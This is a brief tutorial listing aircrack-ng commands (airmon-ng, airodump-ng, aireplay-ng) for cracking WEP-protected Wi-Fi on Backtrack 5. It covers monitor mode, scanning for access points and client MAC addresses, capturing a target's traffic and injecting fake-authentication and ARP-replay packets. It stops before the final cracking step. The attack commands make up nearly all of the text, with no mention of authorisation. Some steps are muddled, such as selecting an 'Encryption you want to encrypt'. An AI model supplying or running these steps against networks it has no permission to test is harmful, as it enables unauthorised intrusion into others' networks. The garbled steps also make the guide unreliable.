Cracking WEP WIFI Using Backtrack 5

Open Terminal in Backtrack 5 :  

Command : #iwconfig

 

Objective : To identify which interface is up (active)

Command : #ifconfig

  

Objective : To identify what chipset & driver in used

Command : #airmon-ng

Objective : To activate / start the interface

Command : #airmon-ng start mon1

 

Objective : To list all available wireless router / switch & client’s mac address

Command : #airodump-ng mon1

Objective : To select specific Encryption you want to encrypt

Command : #airodump-ng --bssid <Mac Address> -c <channel no.> -w <put file name you desire> <interface>

 

 

Objective : To generate traffic

Command : #aireplay-ng -1 0 –a <Mac Address>  <interface>

Objective : To generate traffic

Command : #aireplay-ng -3 –b <Mac Address>  <interface>